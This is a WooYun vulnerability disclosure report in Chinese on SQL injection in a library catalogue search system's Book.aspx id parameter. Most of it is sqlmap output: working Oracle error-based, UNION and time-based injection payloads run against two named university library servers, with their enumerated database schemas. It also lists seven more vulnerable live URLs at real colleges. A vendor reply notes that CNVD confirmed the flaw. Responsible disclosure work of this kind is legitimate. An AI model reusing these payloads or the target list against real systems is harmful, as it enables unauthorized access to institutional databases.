当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0102132

漏洞标题：某图书馆书目检索系统SQL注入

相关厂商：重庆图腾软件开发有限公司

漏洞作者： Taro

提交时间：2015-03-18 16:40

修复时间：2015-06-21 10:40

公开时间：2015-06-21 10:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-18： 细节已通知厂商并且等待厂商处理中
2015-03-23： 厂商已经确认，细节仅向厂商公开
2015-03-26： 细节向第三方安全合作伙伴开放
2015-05-17： 细节向核心白帽子及相关领域专家公开
2015-05-27： 细节向普通白帽子公开
2015-06-06： 细节向实习白帽子公开
2015-06-21： 细节向公众公开

简要描述：

rt...

详细说明：

浙江工业大学图书馆书目检索系统
http://210.32.205.60/Book.aspx?id=0198019995

---
Place: GET
Parameter: id
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: id=0198019995' AND 7543=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(121)||CHR(102)||CHR(113)||(SELECT (CASE WHEN (7543=7543) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(117)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND 'idCL'='idCL
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id=-3236' UNION ALL SELECT CHR(113)||CHR(122)||CHR(121)||CHR(102)||CHR(113)||CHR(75)||CHR(75)||CHR(121)||CHR(75)||CHR(74)||CHR(113)||CHR(114)||CHR(75)||CHR(117)||CHR(112)||CHR(113)||CHR(122)||CHR(117)||CHR(98)||CHR(113) FROM DUAL--
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: id=0198019995' AND 6523=DBMS_PIPE.RECEIVE_MESSAGE(CHR(84)||CHR(72)||CHR(81)||CHR(68),5) AND 'pDkd'='pDkd
---
[15:21:38] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Oracle
[15:21:38] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[15:21:38] [INFO] fetching database (schema) names
[15:21:38] [WARNING] reflective value(s) found and filtering out
[15:21:38] [INFO] the SQL query used returns 22 entries
[15:21:39] [INFO] retrieved: "CSK"
[15:21:40] [INFO] retrieved: "CTXSYS"
[15:21:40] [INFO] retrieved: "DBSNMP"
[15:21:41] [INFO] retrieved: "DMSYS"
[15:21:42] [INFO] retrieved: "EXFSYS"
[15:21:42] [INFO] retrieved: "HR"
[15:21:43] [INFO] retrieved: "IX"
[15:21:43] [INFO] retrieved: "MDSYS"
[15:21:44] [INFO] retrieved: "OE"
[15:21:45] [INFO] retrieved: "OLAPSYS"
[15:21:45] [INFO] retrieved: "ORDSYS"
[15:21:46] [INFO] retrieved: "OUTLN"
[15:21:47] [INFO] retrieved: "PM"
[15:21:47] [INFO] retrieved: "SCOTT"
[15:21:48] [INFO] retrieved: "SH"
[15:21:48] [INFO] retrieved: "SYS"
[15:21:49] [INFO] retrieved: "SYSMAN"
[15:21:50] [INFO] retrieved: "SYSTEM"
[15:21:50] [INFO] retrieved: "TSMSYS"
[15:21:51] [INFO] retrieved: "TTMIS"
[15:21:52] [INFO] retrieved: "WMSYS"
[15:21:52] [INFO] retrieved: "XDB"


杭州科技职业技术学院图书馆书目检索系统
http://124.160.90.204/Book.aspx?id=0139001982

---
Place: GET
Parameter: id
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: id=0139001982' AND 2639=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(110)||CHR(113)||CHR(114)||CHR(113)||(SELECT (CASE WHEN (2639=2639) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(116)||CHR(108)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND 'xOmb'='xOmb
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id=-6769' UNION ALL SELECT CHR(113)||CHR(110)||CHR(113)||CHR(114)||CHR(113)||CHR(105)||CHR(120)||CHR(75)||CHR(109)||CHR(117)||CHR(97)||CHR(77)||CHR(88)||CHR(81)||CHR(115)||CHR(113)||CHR(116)||CHR(108)||CHR(98)||CHR(113) FROM DUAL--
---
[15:19:37] [INFO] the back-end DBMS is Oracle
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 4.0.30319
back-end DBMS: Oracle
[15:19:37] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[15:19:37] [INFO] fetching database (schema) names
[15:19:40] [WARNING] reflective value(s) found and filtering out
[15:19:40] [INFO] the SQL query used returns 21 entries
[15:19:42] [INFO] retrieved: "CTXSYS"
[15:19:43] [INFO] retrieved: "DBSNMP"
[15:19:44] [INFO] retrieved: "DMSYS"
[15:19:51] [INFO] retrieved: "EXFSYS"
[15:19:54] [INFO] retrieved: "HR"
[15:19:57] [INFO] retrieved: "IX"
[15:20:00] [INFO] retrieved: "MDSYS"
[15:20:36] [INFO] retrieved: "OE"
[15:20:39] [INFO] retrieved: "OLAPSYS"
[15:20:42] [INFO] retrieved: "ORDSYS"
[15:20:46] [INFO] retrieved: "OUTLN"
[15:20:48] [INFO] retrieved: "PM"
[15:20:53] [INFO] retrieved: "SCOTT"
[15:21:01] [INFO] retrieved: "SH"
[15:21:12] [INFO] retrieved: "SYS"
[15:21:18] [INFO] retrieved: "SYSMAN"
[15:21:23] [INFO] retrieved: "SYSTEM"
[15:21:26] [INFO] retrieved: "TSMSYS"
[15:21:27] [INFO] retrieved: "TTMIS"
[15:21:32] [INFO] retrieved: "WMSYS"
[15:21:33] [INFO] retrieved: "XDB"


泉州经贸学院润德图书馆书目检索系统
http://opac.qzjmc.edu.cn:8085/Book.aspx?id=0301247422
南昌航空大学图书馆书目检索系统
http://210.35.35.5:82/Book.aspx?id=0199007325
平顶山学院图书馆书目检索系统
http://211.69.20.130:81/Book.aspx?id=0199000049
浙江科技学院图书馆书目检索系统
http://my.lib.zust.edu.cn/Book.aspx?id=0162000670
杭州师范大学图书馆书目检索系统
http://opac.hznu.edu.cn/Book.aspx?id=0199000446
浙江外国语学院图书馆书目检索系统
http://lib.zisu.edu.cn:88/Book.aspx?id=0199017348
重庆工商大学斯派学院图书馆书目检索系统
www.paisi.edu.cn:85/Book.aspx?id=0301318562

漏洞证明：

修复方案：

版权声明：转载请注明来源 Taro@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-03-23 10:38

厂商回复：

CNVD确认所述情况，已经由CNVD通过以往建立的处置渠道向网站管理单位（软件生产厂商）通报。

最新状态：

暂无

漏洞评价：

评论